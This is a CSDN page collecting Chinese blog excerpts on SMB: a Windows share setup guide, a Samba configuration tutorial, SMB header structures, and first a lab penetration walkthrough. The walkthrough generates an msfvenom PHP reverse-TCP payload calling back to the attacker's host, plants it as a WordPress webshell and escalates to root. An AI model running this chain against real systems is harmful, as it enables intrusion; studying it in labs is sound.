smb_smbus - CSDN
精华内容
参与话题
  • SMB协议

    千次阅读 2019-09-24 17:01:44
    SMB(ServerMessage Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。 Port 139 (TCP) - 文件和打印共享 ; smbd (基于SMB(Server Message Port 445 ...

    SMB(ServerMessage Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。

    Port 139 (TCP) - 文件和打印共享 ; smbd (基于SMB(Server Message Port 445 (TCP) - NetBIOS服务在windos 2000及以后版本使用此端口, (Common Internet File System,CIFS,它是SMB协议扩展到Internet后,实现Internet文件共享)Block)协议,主要在局域网中使用,文件共享协议)

     

    139和445都是smb协议

    3306开发mysql服务

    1针对smb协议,使用空口令

    smbclient -L ip

    smbclient '\\ip\$share'

    ipc是空文件,print无权限访问

    get 敏感文件

    gedit是一个Linux环境下的文本编辑器,类似windows下的写字板程序,在不需要特别复杂的编程环境下,作为基本的文本编辑器比较合适。

    3306端口开放mysql服务

    不允许远程登陆mysql

    那就通过ssh协议进入主机再登陆

    2针对smb协议远程溢出漏洞进行分析

    searchsploit samba版本号

    nmap -A -v -T4 192.168.1.108

    搜出samba版本号

    针对http协议弱点分析

    浏览器查看网站,使用dirb,nikto探测,寻找突破点,目标登陆后台,上传webshell

    dirb http://192.168.1.108
    ==> DIRECTORY: http://192.168.1.108/wordpress/wp-admin/   

    登陆到后台

    制作webshell

    msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机Ip Iport=4444 -f raw >/root/Destktop/shell.php

    利用msfvenom制作 .exe 文件,然后发送到靶机Windows上面,运行后就可以在kali linux 上面利用msfconsole连接msfvenom服务控制靶机

    msfconsole

    å¨è¿éæå¥å¾çæè¿°

    å¨è¿éæå¥å¾çæè¿°

    输入run之后去打开web网页点击Appearance》》Editor》》404 Template

    把shell.php文件里的代码复制到404里去点击上传成功后会显示出来
    然后通过固定路径http://靶场IP/wordpress/wp-content/themes/twentyfifteen/404.php访问webshell
     

    å¨è¿éæå¥å¾çæè¿°

    å¨è¿éæå¥å¾çæè¿°

    然后输入id反弹回shell
    接下来还是同样的,优化终端(python -c “import pty;pty.spawn(’/bin/bash’)”)

    使用cat /etc/passwd/查看当前系统的其他用户名(注意home目录下)发现个togie用户,su togie去切换到togie目录,密码用之前发现的12345登录成功。

    还是要去切换到root权限,用sudo -l查看su能执行哪些操作,然后用sudo su来提升权限

    最后在root找到proof.txt。

    展开全文
  • Windows电脑SMB共享设置方法

    万次阅读 2020-01-10 09:58:40
    SMB简介: SMB(Server Message Block)(*nix平台和Win NT4.0又称CIFS)协议是Windows平台标准文件共享协议,Linux平台通过samba来支持。SMB最新版本v3.0,在v2.0基础上针对WAN和分布式有改进。 建议使用原版...

        SMB简介:
         SMB(Server Message Block)(*nix平台和Win NT4.0又称CIFS)协议是Windows平台标准文件共享协议,Linux平台通过samba来支持。SMB最新版本v3.0,在v2.0基础上针对WAN和分布式有改进。

         建议使用原版windows系统,提高设置成功率,本文以原版windows 7为例,其他版本windows的设置方法与其类似。

         一、需要密码验证(推荐)
         方法步骤:
         1、开始菜单控制面板用户帐户和家庭安全用户帐户创建密码(若已经有密码则跳过此步)。

    Windows电脑SMB共享设置方法



         2、在需要共享的文件夹(驱动器)上,右键单击,选择 属性-共享-高级共享。

    Windows电脑SMB共享设置方法



         3、进入了高级共享设置窗口,首先勾选“共享此文件夹”,然后点击“权限”。

    Windows电脑SMB共享设置方法



         4、在共享权限窗口中,点击“添加”来添加前面设置密码的用户(如administrator)。

    Windows电脑SMB共享设置方法



         5、在弹出的“选择用户或组”窗口中,输入用户名(如administrator),点击“检查名称”,然后“确定”

    Windows电脑SMB共享设置方法



         6、选中上面添加的用户(如administrator),勾选下方“完全控制”权限。

    Windows电脑SMB共享设置方法



         7、最后,一路“确定”关闭所有窗口,加密的共享文件夹就设置完成了,之后播放机访问电脑共享文件夹时需要输入正确的账号和密码才行。
         8、(此步为可选)经过上述设置,以后每次开机登陆windows系统都需要输入帐户密码,如果觉得麻烦或者电脑是用作NAS/下载机等服务器,可以使用windows的自动登录功能实现开机自动登录系统,方法:开始-运行-CMD,输入命令control userpasswords2回车,在用户帐户对话框中选择上面设置的帐户(如administrator),取消勾选“要使用本机,用户必须输入用户名和密码”,确定,然后在弹出的自动登录对话框中输入帐户的密码,最后确定。

    Windows电脑SMB共享设置方法


     

    Windows电脑SMB共享设置方法


     

    Windows电脑SMB共享设置方法



         二、不需要密码验证
         方法步骤:
         1、启用本地guest帐户,默认它是禁用的。(如果不启用guest帐户,而使用第4步,将会出现访问时出现对话框,要求输入用户名和密码,并且Guest用户名呈灰色不可选状态,只能输入密码)。方法:右键点击计算机-管理-本地用户和组-用户-右键点击“guest”,然后取消勾选“账户已停用”这里的对勾,并点击“应用”、“确定”即可。如下图所示: 

    Windows电脑SMB共享设置方法



         2、开始-运行-gpedit.msc,回车,打开组策略编辑器。

    Windows电脑SMB共享设置方法



         3、依次展开:计算机配置-Windows设置-安全设置-本地策略-用户权限分配-在拒绝从网络访问这台计算机设置中删除guest账户(如果有的话),并点击“确定”。如下图所示: 

    Windows电脑SMB共享设置方法



         4、依次展开:计算机配置-Windows设置-安全设置-本地策略-安全选项-将“网络访问:本地帐户的共享和安全模式”,修改为“仅来宾-本地帐户以来宾身份验证”,将“帐户:使用空白密码的本地帐户只允许通过控制台登录”,设置为已禁用。如下图所示:

    Windows电脑SMB共享设置方法


     

    Windows电脑SMB共享设置方法



          5、让上面的更改生效,需要刷新组策略(重启电脑也可以),刷新组策略命令gpupdate /force,如下图所示: 

    Windows电脑SMB共享设置方法



         6、在需要共享的文件夹(驱动器)上,右键单击,选择 属性-共享-高级共享。

         7、然后勾选“共享此文件夹”,并点击下面的“权限”,在弹出的对话框中点击“添加”,然后在弹出的对话框中输入“everyone”,并点击“确定”,这样就成功添加了“everyone”账户,如下图所示

    Windows电脑SMB共享设置方法



         至此,访问共享文件不需要密码、实现了匿名访问共享文件、访问共享不输入密码的设置就完成了,之后播放机访问电脑共享文件夹时就不需要输入账号和密码了。

     

    Windows电脑SMB共享设置方法 
    展开全文
  • SMB文件共享及应用

    万次阅读 2018-11-28 17:48:12
    Samba是Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网的不同计算机之间提供文件及...

    Samba是Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网的不同计算机之间提供文件及打印机等资源的共享服务。

    实验环境:
    服务端(desktop):172.25.254.168 配置好yum元,改变名称为shareserver.westos.com

    [root@station ~]# hostnamectl set-hostname shareserver.westos.com

    客户端(server):172.25.254.88 配置好yum元,改变名称为client.westos.com

    一、共享家目录
    (1)服务端设置
    1》服务端下载SMB服务
    在这里插入图片描述

    在这里插入图片描述
    注意下载完后一定要开启SMB服务

    [root@shareserver ~]# systemctl start smb #开启SMB服务 注意
    [root@shareserver ~]#

    2》防火墙设置
    在这里插入图片描述

    3>设置senlinux

    [root@share-server ~]# getenforce
    Enforcing
    [root@share-server ~]# setenforce 0
    [root@share-server ~]# getenforce
    Permissive
    [root@share-server ~]#

    4》建立本地用户并允许用户访问SMB服务
    在这里插入图片描述

    (2)客户端设置
    1》下载SMB
    在这里插入图片描述

    在这里插入图片描述
    2》上传文件
    查看共享
    在这里插入图片描述

    [root@client ~]# touch file{1…5}

    在这里插入图片描述
    在这里插入图片描述

    3》挂载方式上传文件

    在这里插入图片描述

    进入挂载目录建立文件
    在这里插入图片描述
    smb登陆查看建立文件

    在这里插入图片描述

    (3)修改sub访问域名
    查看共享信息(smb访问域名为MYGROUP)
    在这里插入图片描述

    现在将访问域名改为student(服务端)
    Samba的主配置文件叫smb.cnf,默认在/etc/samba/下

    [root@shareserver ~]# vim /etc/samba/smb.conf

    在这里插入图片描述

    在客户端查看
    在这里插入图片描述

    (4)解决当selinux为Enforcing无法登陆问题

    [root@shareserver ~]# setenforce 1
    [root@shareserver ~]# getenforce
    Enforcing
    [root@shareserver ~]#

    1》客户端登陆登陆失败
    在这里插入图片描述

    2》服务段登陆失败
    在这里插入图片描述

    3》允许登陆配置

    [root@shareserver ~]# setsebool samba_enable_home_dirs on ##允许登陆
    [root@shareserver ~]#

    [root@shareserver ~]# smbclient //172.25.254.168/student -U student ##服务端测试
    Enter student’s password:
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    smb: > ls
    . D 0 Sat Nov 24 23:20:10 2018
    … D 0 Sat Nov 24 22:53:50 2018
    .mozilla DH 0 Sun Nov 18 20:56:15 2018
    .bash_logout H 18 Wed Jul 8 19:11:02 2015
    .bash_profile H 193 Wed Jul 8 19:11:02 2015
    .bashrc H 231 Wed Jul 8 19:11:02 2015
    .cache DH 0 Sun Nov 18 23:40:36 2018
    .config DH 0 Sun Nov 18 23:38:46 2018
    Desktop D 0 Sun Nov 18 23:37:44 2018
    Downloads D 0 Sun Nov 18 23:37:44 2018
    Templates D 0 Sun Nov 18 23:37:44 2018
    Public D 0 Sun Nov 18 23:37:44 2018
    Documents D 0 Sun Nov 18 23:37:44 2018
    Music D 0 Sun Nov 18 23:37:44 2018
    Pictures D 0 Sun Nov 18 23:37:44 2018
    Videos D 0 Sun Nov 18 23:37:44 2018
    .ICEauthority H 310 Sun Nov 18 23:37:45 2018
    .local DH 0 Sun Nov 18 23:37:45 2018
    .esd_auth H 16 Sun Nov 18 23:37:48 2018
    8706048 blocks of size 1024. 5664260 blocks available
    smb: > exit
    [root@shareserver ~]#

    [root@client ~]# smbclient //172.25.254.168/student -U student ##客户端测试
    Enter student’s password:
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    smb: > ls
    . D 0 Sat Nov 24 23:20:10 2018
    … D 0 Sat Nov 24 22:53:50 2018
    .mozilla DH 0 Sun Nov 18 20:56:15 2018
    .bash_logout H 18 Wed Jul 8 19:11:02 2015
    .bash_profile H 193 Wed Jul 8 19:11:02 2015
    .bashrc H 231 Wed Jul 8 19:11:02 2015
    .cache DH 0 Sun Nov 18 23:40:36 2018
    .config DH 0 Sun Nov 18 23:38:46 2018
    Desktop D 0 Sun Nov 18 23:37:44 2018
    Downloads D 0 Sun Nov 18 23:37:44 2018
    Templates D 0 Sun Nov 18 23:37:44 2018
    Public D 0 Sun Nov 18 23:37:44 2018
    Documents D 0 Sun Nov 18 23:37:44 2018
    Music D 0 Sun Nov 18 23:37:44 2018
    Pictures D 0 Sun Nov 18 23:37:44 2018
    Videos D 0 Sun Nov 18 23:37:44 2018
    .ICEauthority H 310 Sun Nov 18 23:37:45 2018
    .local DH 0 Sun Nov 18 23:37:45 2018
    .esd_auth H 16 Sun Nov 18 23:37:48 2018
    8706048 blocks of size 1024. 5664172 blocks available
    smb: > exit
    [root@client ~]#

    (5)SMB黑白名单设置

    白名单

    [root@shareserver ~]# vim /etc/samba/smb.conf
    [root@shareserver ~]#

    在这里插入图片描述

    1》168测试
    在这里插入图片描述

    2》88测试失败
    在这里插入图片描述

    3》将133 233都设置成白名单

    [root@shareserver ~]# vim /etc/samba/smb.conf
    [root@shareserver ~]#

    在这里插入图片描述

    测试:
    在这里插入图片描述
    在这里插入图片描述

    黑名单

    [root@shareserver ~]# vim /etc/samba/smb.conf

    在这里插入图片描述

    测试
    在这里插入图片描述

    在这里插入图片描述


    二、共享其他目录(系统目录,自己建立的目录)
    1、共享自己新建的目录
    (1)自己新建目录

    [root@shareserver ~]# mkdir /student
    [root@shareserver ~]# vim /etc/samba/smb.conf
    [root@shareserver ~]#

    [student]
    comment = student dir share
    path=/student

    [root@shareserver ~]# systemctl restart smb.service
    [root@shareserver ~]#

    (2)修改安全上下文

    在这里插入图片描述

    (3)实验测试
    查看共享目录
    在这里插入图片描述

    在服务端给共享目录下添加文件以共实验

    [root@shareserver ~]# touch /student/file{1…5}
    [root@shareserver ~]# smbclient //172.25.254.168/student -U student
    Enter student’s password:
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    smb: > ls
    . D 0 Mon Nov 26 21:11:33 2018
    … DR 0 Mon Nov 26 21:03:02 2018
    file1 N 0 Mon Nov 26 21:11:33 2018
    file2 N 0 Mon Nov 26 21:11:33 2018
    file3 N 0 Mon Nov 26 21:11:33 2018
    file4 N 0 Mon Nov 26 21:11:33 2018
    file5 N 0 Mon Nov 26 21:11:33 2018
    8706048 blocks of size 1024. 5662868 blocks available
    smb: >

    2、共享系统原有目录
    将系统目录写入配置文件

    [root@shareserver ~]# vim /etc/samba/smb.conf
    [root@shareserver ~]#

    在这里插入图片描述

    [root@shareserver ~]# systemctl restart smb.service ##开启服务
    [root@shareserver ~]# ls -Zd /mnt/
    drwxr-xr-x. root root system_u:object_r:mnt_t:s0 /mnt/
    [root@shareserver ~]# getsebool -a | grep samba
    samba_create_home_dirs --> off
    samba_domain_controller --> off
    samba_enable_home_dirs --> on
    samba_export_all_ro --> off
    samba_export_all_rw --> off
    samba_load_libgfapi --> off
    samba_portmapper --> off
    samba_run_unconfined --> off
    samba_share_fusefs --> off
    samba_share_nfs --> off
    sanlock_use_samba --> off
    tmpreaper_use_samba --> off
    use_samba_home_dirs --> off
    virt_sandbox_use_samba --> off
    virt_use_samba --> off

    [root@shareserver ~]# setsebool -P samba_export_all_ro on ##打开只读共享
    [root@shareserver ~]# touch /mnt/file{1…5}
    [root@shareserver ~]# smbclient -L //172.25.254.168 -U student ##查看共享
    Enter student’s password:
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    Sharename Type Comment
    --------- ---- -------
    student Disk student dir shar
    mnt Disk mnt dir share ##共享系统目录
    IPC$ IPC IPC Service (Samba Server Version 4.2.3)
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    Server Comment
    --------- -------
    Workgroup Master
    --------- -------
    [root@shareserver ~]# smbclient //172.25.254.168/mnt -U student ##登陆
    Enter student’s password:
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    smb: > ls
    . D 0 Mon Nov 26 21:16:45 2018
    … DR 0 Mon Nov 26 21:03:02 2018
    Kwestos.key.+157+53347.key N 54 Wed Nov 21 20:00:45 2018
    Kwestos.key.+157+53347.private N 165 Wed Nov 21 20:00:45 2018
    westos.com.zone N 384 Wed Nov 21 19:37:50 2018
    database D 0 Fri Nov 23 19:04:08 2018
    file1 N 0 Mon Nov 26 21:16:45 2018
    file2 N 0 Mon Nov 26 21:16:45 2018
    file3 N 0 Mon Nov 26 21:16:45 2018
    file4 N 0 Mon Nov 26 21:16:45 2018
    file5 N 0 Mon Nov 26 21:16:45 2018
    8706048 blocks of size 1024. 5662312 blocks available
    smb: > exit
    [root@shareserver ~]#


    设置SMB用户权限
    (1)所有用户对共享目录可写
    1》所有用户对目录可写

    [root@shareserver ~]# chmod 777 /student/
    [root@shareserver ~]# vim /etc/samba/smb.conf 
    

    在这里插入图片描述

    [root@shareserver ~]# systemctl restart smb.service
    [root@shareserver ~]#

    2》测试,student用户可上传可删除

    [root@shareserver ~]# smbclient //172.25.254.168/student -U student ##student登陆
    Enter student’s password:
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    smb: > ls
    . D 0 Mon Nov 26 21:11:33 2018
    … DR 0 Mon Nov 26 21:03:02 2018
    file1 N 0 Mon Nov 26 21:11:33 2018
    file2 N 0 Mon Nov 26 21:11:33 2018
    file3 N 0 Mon Nov 26 21:11:33 2018
    file4 N 0 Mon Nov 26 21:11:33 2018
    file5 N 0 Mon Nov 26 21:11:33 2018
    8706048 blocks of size 1024. 5662340 blocks available
    smb: > rm file1 ##删除
    smb: > ls
    . D 0 Mon Nov 26 21:21:39 2018
    … DR 0 Mon Nov 26 21:03:02 2018
    file2 N 0 Mon Nov 26 21:11:33 2018
    file3 N 0 Mon Nov 26 21:11:33 2018
    file4 N 0 Mon Nov 26 21:11:33 2018
    file5 N 0 Mon Nov 26 21:11:33 2018
    8706048 blocks of size 1024. 5662808 blocks available
    smb: > !ls
    anaconda-ks.cfg Documents findresults lines Pictures Templates yum.repo
    Desktop Downloads initial-setup-ks.cfg Music Public Videos
    smb: > put anaconda-ks.cfg ##上传成功
    putting file anaconda-ks.cfg as \anaconda-ks.cfg (12.6 kb/s) (average 12.6 kb/s)
    smb: > ls
    . D 0 Mon Nov 26 21:22:16 2018
    … DR 0 Mon Nov 26 21:03:02 2018
    file2 N 0 Mon Nov 26 21:11:33 2018
    file3 N 0 Mon Nov 26 21:11:33 2018
    file4 N 0 Mon Nov 26 21:11:33 2018
    file5 N 0 Mon Nov 26 21:11:33 2018
    anaconda-ks.cfg A 1748 Mon Nov 26 21:22:16 2018
    8706048 blocks of size 1024. 5662824 blocks available
    smb: >

    3》测试westos用户

    [root@shareserver ~]# smbclient //172.25.254.168/student -U westos ##westos登陆
    Enter westos’s password:
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    smb: > ls
    . D 0 Mon Nov 26 21:23:40 2018
    … DR 0 Mon Nov 26 21:03:02 2018
    file2 N 0 Mon Nov 26 21:11:33 2018
    file3 N 0 Mon Nov 26 21:11:33 2018
    file4 N 0 Mon Nov 26 21:11:33 2018
    file5 N 0 Mon Nov 26 21:11:33 2018
    anaconda-ks.cfg A 1748 Mon Nov 26 21:23:40 2018
    8706048 blocks of size 1024. 5662804 blocks available
    smb: > rm anaconda-ks.cfg ##删除成功
    smb: > ls
    . D 0 Mon Nov 26 21:24:18 2018
    … DR 0 Mon Nov 26 21:03:02 2018
    file2 N 0 Mon Nov 26 21:11:33 2018
    file3 N 0 Mon Nov 26 21:11:33 2018
    file4 N 0 Mon Nov 26 21:11:33 2018
    file5 N 0 Mon Nov 26 21:11:33 2018
    8706048 blocks of size 1024. 5662808 blocks available
    smb: > !ls
    anaconda-ks.cfg Documents findresults lines Pictures Templates yum.repo
    Desktop Downloads initial-setup-ks.cfg Music Public Videos
    smb: > put anaconda-ks.cfg ##上传成功
    putting file anaconda-ks.cfg as \anaconda-ks.cfg (569.0 kb/s) (average 569.0 kb/s)
    smb: > ls
    . D 0 Mon Nov 26 21:24:27 2018
    … DR 0 Mon Nov 26 21:03:02 2018
    file2 N 0 Mon Nov 26 21:11:33 2018
    file3 N 0 Mon Nov 26 21:11:33 2018
    file4 N 0 Mon Nov 26 21:11:33 2018
    file5 N 0 Mon Nov 26 21:11:33 2018
    anaconda-ks.cfg A 1748 Mon Nov 26 21:24:27 2018
    8706048 blocks of size 1024. 5662784 blocks available
    smb: > exit
    [root@shareserver ~]# vim /etc/samba/smb.conf
    [root@shareserver ~]#

    (2)设置只有student 用户可写

    [root@shareserver ~]# vim /etc/samba/smb.conf
    [root@shareserver ~]#

    在这里插入图片描述

    [root@shareserver ~]# smbclient //172.25.254.168/student -U student
    Enter student’s password:
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    smb: > ls
    . D 0 Mon Nov 26 21:24:27 2018
    … DR 0 Mon Nov 26 21:03:02 2018
    file2 N 0 Mon Nov 26 21:11:33 2018
    file3 N 0 Mon Nov 26 21:11:33 2018
    file4 N 0 Mon Nov 26 21:11:33 2018
    file5 N 0 Mon Nov 26 21:11:33 2018
    anaconda-ks.cfg A 1748 Mon Nov 26 21:24:27 2018
    8706048 blocks of size 1024. 5662404 blocks available
    smb: > rm anaconda-ks.cfg
    smb: > exit
    [root@shareserver ~]# smbclient //172.25.254.168/student -U westos
    Enter westos’s password:
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    smb: > ls
    . D 0 Mon Nov 26 21:33:23 2018
    … DR 0 Mon Nov 26 21:03:02 2018
    file2 N 0 Mon Nov 26 21:11:33 2018
    file3 N 0 Mon Nov 26 21:11:33 2018
    file4 N 0 Mon Nov 26 21:11:33 2018
    file5 N 0 Mon Nov 26 21:11:33 2018
    8706048 blocks of size 1024. 5662340 blocks available
    smb: > rm file2
    NT_STATUS_MEDIA_WRITE_PROTECTED deleting remote file \file2
    NT_STATUS_MEDIA_WRITE_PROTECTED listing \file2
    smb: > exit
    [root@shareserver ~]#

    (3)设置只有student用户组的用户可以写

    [root@shareserver ~]# vim /etc/samba/smb.conf

    在这里插入图片描述

    [root@shareserver ~]# systemctl restart smb.service

    [root@shareserver ~]# smbclient //172.25.254.168/student -U student ##student用户登陆可以删除
    Enter student’s password:
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    smb: > ls
    . D 0 Mon Nov 26 21:33:23 2018
    … DR 0 Mon Nov 26 21:03:02 2018
    file2 N 0 Mon Nov 26 21:11:33 2018
    file3 N 0 Mon Nov 26 21:11:33 2018
    file4 N 0 Mon Nov 26 21:11:33 2018
    file5 N 0 Mon Nov 26 21:11:33 2018
    8706048 blocks of size 1024. 5662464 blocks available
    smb: > rm file2
    smb: > exit
    [root@shareserver ~]# id westos ##查看westos用户信息
    uid=2017(westos) gid=2017(westos) groups=2017(westos)
    [root@shareserver ~]# smbclient //172.25.254.168/student -U westos ##westos登陆不可删除
    Enter westos’s password:
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    smb: > ls
    . D 0 Mon Nov 26 21:35:53 2018
    … DR 0 Mon Nov 26 21:03:02 2018
    file3 N 0 Mon Nov 26 21:11:33 2018
    file4 N 0 Mon Nov 26 21:11:33 2018
    file5 N 0 Mon Nov 26 21:11:33 2018
    8706048 blocks of size 1024. 5662720 blocks available
    smb: > rm file3
    NT_STATUS_MEDIA_WRITE_PROTECTED deleting remote file \file3
    NT_STATUS_MEDIA_WRITE_PROTECTED listing \file3
    smb: > exit
    [root@shareserver ~]# usermod -G student westos ##改变westos用户组为student
    [root@shareserver ~]# id westos
    uid=2017(westos) gid=2017(westos) groups=2017(westos),1000(student)
    [root@shareserver ~]# smbclient //172.25.254.168/student -U westos ##westos登陆可删除
    Enter westos’s password:
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    smb: > ls
    . D 0 Mon Nov 26 21:35:53 2018
    … DR 0 Mon Nov 26 21:03:02 2018
    file3 N 0 Mon Nov 26 21:11:33 2018
    file4 N 0 Mon Nov 26 21:11:33 2018
    file5 N 0 Mon Nov 26 21:11:33 2018
    8706048 blocks of size 1024. 5662756 blocks available
    smb: > rm file3
    smb: > exit
    [root@shareserver ~]#

    (4)设置只有student可以登陆

    [root@shareserver ~]# vim /etc/samba/smb.conf

    在这里插入图片描述

    [root@shareserver ~]# systemctl restart smb.service
    [root@shareserver ~]#

    [root@shareserver ~]# systemctl restart smb.service
    [root@shareserver ~]# smbclient //172.25.254.168/student -U student
    Enter student’s password:
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    smb: > exit
    [root@shareserver ~]# smbclient //172.25.254.168/student -U westos
    Enter westos’s password:
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    tree connect failed: NT_STATUS_ACCESS_DENIED
    [root@shareserver ~]#

    (5)设置用户不可以查看共享的文件

    [root@share-server ~]# vim /etc/samba/smb.conf
    [root@share-server ~]#

    在这里插入图片描述

    [root@shareserver ~]# systemctl restart smb.service
    [root@shareserver ~]# smbclient -L //172.25.254.168 -U student ##查看不到自己共享的文件
    Enter student’s password:
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    Sharename Type Comment
    --------- ---- -------
    mnt Disk mnt dir share
    IPC$ IPC IPC Service (Samba Server Version 4.2.3)
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    Server Comment
    --------- -------
    Workgroup Master
    --------- -------
    [root@shareserver ~]#

    (6)设置上传文件所属用户(student上传的文件用户都变成root)
    未设置前查看

    上传文件

    [root@client ~]# smbclient //172.25.254.168/student -U student
    Enter student’s password:
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    smb: > !ls
    anaconda-ks.cfg Downloads file3 initial-setup-ks.cfg Public
    Desktop file1 file4 Music Templates
    Documents file2 file5 Pictures Videos
    smb: > put file1
    putting file file1 as \file1 (0.0 kb/s) (average 0.0 kb/s)
    smb: > exit

    查看文件

    [root@shareserver ~]# cd /student/
    [root@shareserver student]# ls
    file1 file4 file5
    [root@shareserver student]# ls -l file1
    -rwxr–r--. 1 student student 0 Nov 26 21:52 file1 ##文件所属用户为student
    [root@shareserver student]#

    设置上传文件所属用户(student上传的文件用户都变成root)为超级用户

    [root@shareserver student]# vim /etc/samba/smb.conf

    在这里插入图片描述

    [root@shareserver student]# systemctl restart smb.service
    [root@shareserver student]#

    [root@client ~]# smbclient //172.25.254.168/student -U student
    Enter student’s password:
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    smb: > !ls
    anaconda-ks.cfg Downloads file3 initial-setup-ks.cfg Public
    Desktop file1 file4 Music Templates
    Documents file2 file5 Pictures Videos
    smb: > put file2
    putting file file2 as \file2 (0.0 kb/s) (average 0.0 kb/s)
    smb: > exit
    [root@client ~]#

    [root@shareserver student]# ls
    file1 file2 file4 file5
    [root@shareserver student]# ls -l file2
    -rwxr–r--. 1 root student 0 Nov 26 21:57 file2
    [root@shareserver student]#

    若去掉用户名改变上传文件查看上传文件用户人

    (8)设置匿名用户可以登陆

    [root@shareserver ~]# vim /etc/samba/smb.conf

    在这里插入图片描述
    在这里插入图片描述

    [root@shareserver ~]# systemctl restart smb.service
    [root@shareserver ~]# smbclient //172.25.254.168/student
    Enter root’s password:
    Domain=[STUDENT] OS=[Windows 6.1] Server=[Samba 4.2.3]
    smb: > ls
    . D 0 Mon Nov 26 21:57:14 2018
    … DR 0 Mon Nov 26 21:03:02 2018
    file4 N 0 Mon Nov 26 21:11:33 2018
    file5 N 0 Mon Nov 26 21:11:33 2018
    file1 A 0 Mon Nov 26 21:52:11 2018
    file2 A 0 Mon Nov 26 21:57:14 2018
    8706048 blocks of size 1024. 5662624 blocks available
    smb: >

    展开全文
  • SMB协议详解

    万次阅读 2018-11-29 10:25:43
     SMB(ServerMessage Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。SMB 是在会话层(session layer)和表示层(presentation layer)以及小部分应用...

    一、概述

        SMB(ServerMessage Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。SMB 是在会话层(session layer)和表示层(presentation layer)以及小部分应用层(application layer)的协议。SMB使用了NetBIOS的应用程序接口 (Application Program Interface,简称API),一般端口使用为139,445。另外,它是一个开放性的协议,允许了协议扩展——使得它变得更大而且复杂;大约有65个最上层的作业,而每个作业都超过120个函数,甚至Windows NT也没有全部支持到,最近微软又把 SMB 改名为 CIFS(CommonInternet File System),并且加入了许多新的特色。

       

    二、协议分析

        SMB包头部分,分布如下:

       

        SMB Header的长度为32字节:

        typedef unsigned charUCHAR;        

        typedef unsigned shortUSHORT;       

        typedef unsigned longULONG;       

     

        typedef struct {

           ULONG LowPart;

        LONG HighPart;

        } LARGE_INTEGER;                    

     

        typedef struct  {

           UCHAR Protocol[4];               // Contains 0xFF,'SMB'

           UCHAR Command;                // Command code

           union {

               struct {

                  UCHAR ErrorClass;         // Error class

                  UCHAR Reserved;           // Reserved for future use

                  USHORT Error;             // Error code

               } DosError;

               ULONG Status;                 // 32-bit error code

           } Status;

           UCHAR Flags;                     // Flags

           USHORT Flags2;                   // More flags

           union {

               USHORT Pad[6];               // Ensure section is 12 bytes long

               struct {

                  USHORTPidHigh;           // High part of PID

                  ULONG Unused;            // Not used

                  ULONG Unused2;

               } Extra;

           };

           USHORT Tid;                      // Tree identifier

           USHORT Pid;                      // Caller's process id

           USHORT Uid;                      // Unauthenticated user id

           USHORT Mid;                      // multiplex id

        } SMB_HEADER;

     

     

        NETBIOS Header的长度为4字节:

           typedef struct netbiosHeader
    {
    UCHAR Type; // Type of the packet
    UCHAR Flags; // Flags
    USHORT Length; // Count of data bytes (netbios header not included)
    } NETBIOSHEADER,*PNETBIOSHEADER;

            

     

        TCP Header为20字节。SMBCommand Header的长度不是固定的,不同的命令有不同的长度。具体命令详解参考下一章节。

     

     

    三、SMB 命令

     

    1、 SMB_COM_DELETE_DIRECTORY (0x01)

        这是原始核心协议的一个命令,用来删除一个空的目录。

     

    2、 SMB_COM_CLOSE (0x04)

        这是原始核心协议的一个命令,用来关闭和一个有效的FID关联的对象的一个实例。

     

    3、 SMB_COM_FLUSH (0x05)

        这是原始核心协议的一个命令,用来要求服务器将当前文件的所有数据和信息都写回到存储器上。

     

    4、SMB_COM_DELETE (0x06)

        这是原始核心协议的一个命令,用来删除一个或多个常规文件。支持文件名中有通配符,允许一次删除多个文件。

    5、SMB_COM_RENAME (0x07)

        这是原始核心协议的一个命令,用来重命名一个或多个文件或目录。允许文

    6、SMB_COM_CHECK_DIRECTORY (0x10)

        这是原始核心协议的一个命令。用来检查指定的路径是否在服务器上存在。

     

    7、SMB_COM_LOCKING_ANDX (0x24)

        此命令在LAN Manager 1.0中引入,不适用大于32-bit的文件。支持最大64-bit的实现在NT LAN Manager中引入。

        此命令用来锁定一个普通文件中一段连续的数据。支持锁定任一指定文件中任意多的数据段,前提是这些数据段没有重叠的部分。锁定可以防止其他进程使用一个独立的文件句柄(FID)对文件锁定部分进行锁、读和写操作。任何进程使用获取锁的文件的FID都可以访问被锁定的数据。

        此命令也可以被服务器用来发送一个OpLock中断通知消息给客户端,客户端收到后发送确认消息。这是CIFS协议中服务器发送请求消息的一个例子。

